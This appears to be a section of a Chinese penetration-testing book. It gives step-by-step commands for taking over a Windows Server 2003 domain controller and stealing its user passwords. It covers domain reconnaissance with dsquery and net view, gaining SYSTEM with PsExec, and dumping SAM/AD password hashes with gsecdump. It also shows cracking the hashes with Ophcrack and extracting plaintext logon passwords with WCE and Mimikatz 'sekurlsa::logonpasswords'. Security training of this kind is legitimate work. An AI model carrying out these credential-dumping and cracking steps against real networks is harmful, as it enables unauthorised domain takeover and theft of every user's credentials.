1.6 Windows Server 2003域控服务器用户账号和密码的获取

域控制器相当于一个门卫,其中包含由这个域的账户密码、管理策略等信息构成的数据库。当一台计算机登录域时,域控制器要鉴别这台计算机是否属于这个域,以及用户使用的登录账号和密码是否正确。如果正确,则允许计算机登录这个域,使用该域内其有权限访问的资源,如文件服务器、打印服务器(也就是说,域控制器仅起到验证作用,访问其他资源并不需要再跟域控制器扯上关系);如果不正确,则不允许计算机登录,这时计算机将无法访问域内的资源,这在一定程度上保护了企业网络资源。

域服务器的作用如下。

域控服务器是网络安全渗透的重点对象。获取了域控服务器的权限,就意味着掌控了整个网络的资源和权限,在渗透过程中获取域控服务器用户账号和密码是基础和必需的一步。本节将对域控渗透思路、内网渗透常见命令及域控用户账号和密码的获取进行探讨。

1.6.1 域控服务器渗透思路

域控服务器的渗透思路,仁者见仁,智者见智,笔者将实际工作经验总结如下。

总之,在内网渗透中需要对各种信息进行收集和研判,通过信息进行大胆的推断和渗透测试,不断扩大权限,最终获取域控服务器的权限。

1.6.2 内网域控服务器渗透的常见命令

下面介绍内网域控服务器渗透的常见命令。

1.本机信息收集

2.常见的信息收集命令

dsquery server -domain super.com | dsget server -dnsname -site  
//搜索域内所有域控制器并显示其DNS主机名和站点名  
dsquery computer domainroot -name admin* -limit 10 
//搜索域内名称以“admin”开头的前10台机器  
dsquery user domainroot -name admin* -limit 10 
//搜索域内名称以“admin”开头的前10个用户  
dsquery contact domainroot -name admin* -limit 10 
//搜索域内名称以“admin”开头的前10个联系人 
dsquery group dc=super,dc=com |more  
//搜索在DC=SUPER、DC=COM域中的所有组  
dsquery site -o rdn  
//搜索域中所有站点的名称 

注意

-limit参数不指定查询数量,则默认显示前100条结果。

求助待解决问题:

dsquery user domainroot -name admin* -limit 10 
//搜索域内名称以“admin”开头的前10个用户  

查询这10个用户的后10个用户要如何写?

1.6.3 域控服务器用户账号和密码获取实例

01 获取IP配置信息

打开命令提示符窗口,如图1-22所示,输入命令“ipconfig /all”,查看该服务器的IP地址等信息,并通过该信息探测是否存在域控服务器。如果存在内部域控,在DNS服务器中一定会有内部IP地址,如10.168.10.1。

0039-1

图1-22 获取网络配置情况

02 查看域控情况

通过“net view”命令查看显示当前域的计算机列表,在本例中发现仅存在1台服务器,如图1-23所示。

运行“net view”命令可以显示域列表、计算机列表或指定计算机的共享资源列表。“net view [\\ComputerName] [/domain[:DomainName]]”命令用于指定要查看其可用计算机的域。如果省略DomainName,使用/domain将显示网络上的所有域。在本例中,输入命令“net view /domain”,可知该网络中存在2个域,分别是ITEDT47和WORKGROUP,如图1-24所示。

0040-1

图1-23 显示当前域的计算机列表

0040-2

图1-24 获取当前域控名称

03 登录域控服务器

使用NTScan扫描网段10.168.10.1-254中已经获取的Web服务器管理员密码和用户密码,获取IP地址为10.168.10.3的域控服务器的用户名和密码。通过远程终端登录该服务器,如图1-25所示。

04 获取域控服务器的用户密码

将PsExec、gsecdump等工具上传到域控服务器。执行“psexec \\127.0.0.1 cmd”命令获取system权限,然后到工具目录下执行“gsecdump -s >all.txt”命令,将用户密码Hash值全部导出到all.txt文件,如图1-26所示,代码如下。

0041-1

图1-25 获取域控服务器权限

0041-2

图1-26 获取域控服务器的用户密码

usage: gsecdump [options] 
options: 
  -a [ --dump_all ]          dump all secrets 
  -s [ --dump_hashes ]       dump hashes from SAM/AD 
  -l [ --dump_lsa ]          dump lsa secrets 
  -u [ --dump_usedhashes ]  dump hashes from active logon sessions 
  -w [ --dump_wireless ]     dump microsoft wireless connections 
  -h [ --help ]               show help 
  -S [ --system ]             run as localsystem  

05 查看并整理域控用户密码

通过“记事本”等程序打开all.txt,将IUSR、IWAM及用户名末尾含有“$”符号的用户全部删除。例如,“IUSR_FS02T47E(current)”、“IWAM_FS02T47E(current)”、“RM103-2$(current)”都是无用的密码,如图1-27所示。

0042-1

图1-27 查看并整理域控用户密码

06 破解域控用户密码

将整理好的文件导入Ophcrack中进行破解。如图1-28所示,可以快速破解域控用户的密码。

0042-2

图1-28 破解域控用户的密码

技巧

有些情况下,由于管理员设置了超过14位的密码,所以通过gsecdump获取的Hash值也无法通过Ophcrace工具进行破解。这时,可以使用WCE进行破解。执行“wce -w”命令直接获取登录用户的明文密码,如图129所示。

0043-1

图1-29 获取登录用户的明文密码

还可以使用Mimikatz获取系统曾经登录用户的明文密码,示例如下。

mimikatz 
privilege::debug 
sekurlsa::logonpasswords